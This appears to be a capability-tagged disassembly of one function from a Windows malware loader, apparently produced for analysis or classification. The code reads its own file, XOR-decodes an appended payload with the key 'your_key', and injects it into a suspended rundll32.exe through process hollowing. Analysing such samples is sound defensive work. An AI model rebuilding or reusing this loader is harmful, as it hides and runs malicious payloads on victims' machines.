Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Read file on windows
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x51fb8
call fcn.1000fff0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x21c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x21c]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0
call edi
mov esi, eax
lea ecx, [esi + 1]
push ecx
call fcn.1000144a
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x51fb8], ebx
push 0
push 0
push esi
push ebx
push 0xffffffffffffffff
push eax
push 0
push 0
call edi
push 0x10015d4c
lea eax, [ebp - 0x51f94]
push ebx
push eax
call fcn.1000512b
add esp, 0xc
test eax, eax
jne 0x100013f6
mov eax, dword [ebp - 0x51f94]
test eax, eax
je 0x100013f6
push 2
push 0
push eax
call fcn.1000503a
push dword [ebp - 0x51f94]
call fcn.10004bcc
push 0
push 0
push dword [ebp - 0x51f94]
mov esi, eax
call fcn.1000503a
push esi
call fcn.1000144a
push dword [ebp - 0x51f94]
mov edi, eax
push esi
push 1
push edi
mov dword [ebp - 0x51fa8], edi
call fcn.1000534b
push dword [ebp - 0x51f94]
call fcn.10004d21
lea eax, [esi - 0xf]
mov dword [ebp - 0x14], 0x20f64d7b
add esp, 0x34
mov dword [ebp - 0x10], 0xf1255abd
xor ebx, ebx
mov dword [ebp - 0xc], 0x263edbe
mov dword [ebp - 8], 0xc52bd6f4
mov dword [ebp - 0x51fb0], eax
test eax, eax
jle 0x100011ca
lea eax, [edi + 0x10]
add eax, ebx
lea edx, [ebp - 0x14]
mov dword [ebp - 0x51fac], eax
mov edi, 0xc
lea ecx, [eax - 0x10]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x100011b3
add ecx, 4
add edx, 4
sub edi, 4
jae 0x10001137
xor eax, eax
test esi, esi
jle 0x100011b3
mov edi, dword [ebp - 0x51fa8]
cmp esi, 0x10
jb 0x1000118e
lea ecx, [ebx + 0xf]
add ecx, esi
lea edx, [ebp - 0x51c80]
add ecx, edi
cmp edx, ecx
mov edx, dword [ebp - 0x51fac]
ja 0x1000117b
lea ecx, [ebp + esi - 0x51c81]
cmp ecx, edx
jae 0x1000118e
push esi
push edx
lea eax, [ebp - 0x51c80]
push eax
call fcn.10002f40
add esp, 0xc
jmp 0x100011b9
lea ecx, [eax + ebx]
lea edx, [edi + 0x10]
add edx, ecx
nop word [eax + eax]
mov cl, byte [edx]
lea edx, [edx + 1]
mov byte [ebp + eax - 0x51c80], cl
inc eax
cmp eax, esi
jl 0x100011a0
jmp 0x100011b9
mov edi, dword [ebp - 0x51fa8]
inc ebx
lea eax, [edi + 0x10]
dec esi
cmp ebx, dword [ebp - 0x51fb0]
jl 0x10001124
lea eax, [ebp - 0x51c80]
mov esi, 1
sub esi, eax
lea ecx, [ebp - 0x51c80]
mov ebx, 2
xor edx, edx
sub ebx, eax
mov eax, 3
sub eax, ecx
mov dword [ebp - 0x51fb0], eax
mov eax, 4
mov edi, dword [ebp - 0x51fb0]
sub eax, ecx
mov dword [ebp - 0x51fac], eax
mov eax, 5
sub eax, ecx
mov dword [ebp - 0x51fb4], eax
mov eax, edx
lea ecx, [ebp - 0x51c80]
and eax, 7
add ecx, edx
add edx, 6
movzx eax, byte [eax + str.your_key]
xor byte [ecx], al
lea eax, [ecx + esi]
and eax, 7
movzx eax, byte [eax + str.your_key]
xor byte [ecx + 1], al
lea eax, [ecx + ebx]
and eax, 7
movzx eax, byte [eax + str.your_key]
xor byte [ecx + 2], al
lea eax, [ecx + edi]
and eax, 7
movzx eax, byte [eax + str.your_key]
xor byte [ecx + 3], al
mov eax, dword [ebp - 0x51fac]
add eax, ecx
and eax, 7
movzx eax, byte [eax + str.your_key]
xor byte [ecx + 4], al
mov eax, dword [ebp - 0x51fb4]
add eax, ecx
and eax, 7
movzx eax, byte [eax + str.your_key]
xor byte [ecx + 5], al
cmp edx, 0x51a62
jb 0x10001213
push 0x40
push 0x3000
push 0x51a62
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x51a62
lea ecx, [ebp - 0x51c80]
push ecx
push eax
call fcn.10002f40
add esp, 0xc
mov dword [ebp - 0x51cc4], 0x44
lea eax, [ebp - 0x51fa4]
xorps xmm0, xmm0
movlpd qword [ebp - 0x51cc0], xmm0
movlpd qword [ebp - 0x51cb8], xmm0
push eax
lea eax, [ebp - 0x51cc4]
movlpd qword [ebp - 0x51cb0], xmm0
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push str.rundll32.exe
push 0
movlpd qword [ebp - 0x51ca8], xmm0
movlpd qword [ebp - 0x51ca0], xmm0
movlpd qword [ebp - 0x51c98], xmm0
movlpd qword [ebp - 0x51c90], xmm0
movlpd qword [ebp - 0x51c88], xmm0
movups xmmword [ebp - 0x51fa4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edi, dword [ebp - 0x51fa8]
test eax, eax
je 0x100013cf
lea eax, [ebp - 0x51f90]
mov dword [ebp - 0x51f90], 0x10007
push eax
push dword [ebp - 0x51fa0]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0x40
push 0x3000
push 0x51a62
push 0
push dword [ebp - 0x51fa4]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
mov esi, eax
lea eax, [ebp - 0x51c80]
push 0x51a62
push eax
push esi
push dword [ebp - 0x51fa4]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x51f90]
mov dword [ebp - 0x51ed8], esi
push eax
push dword [ebp - 0x51fa0]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x51fa0]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x51fa0]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x51fa4]
call esi
push dword [ebp - 0x51fb8]
call fcn.10001445
push edi
call fcn.10001445
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001437
mov esp, ebp
pop ebp
ret
push ebx
call fcn.10001445
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
or eax, 0xffffffff
pop edi
pop esi
pop ebx
call fcn.10001437
mov esp, ebp
pop ebp
ret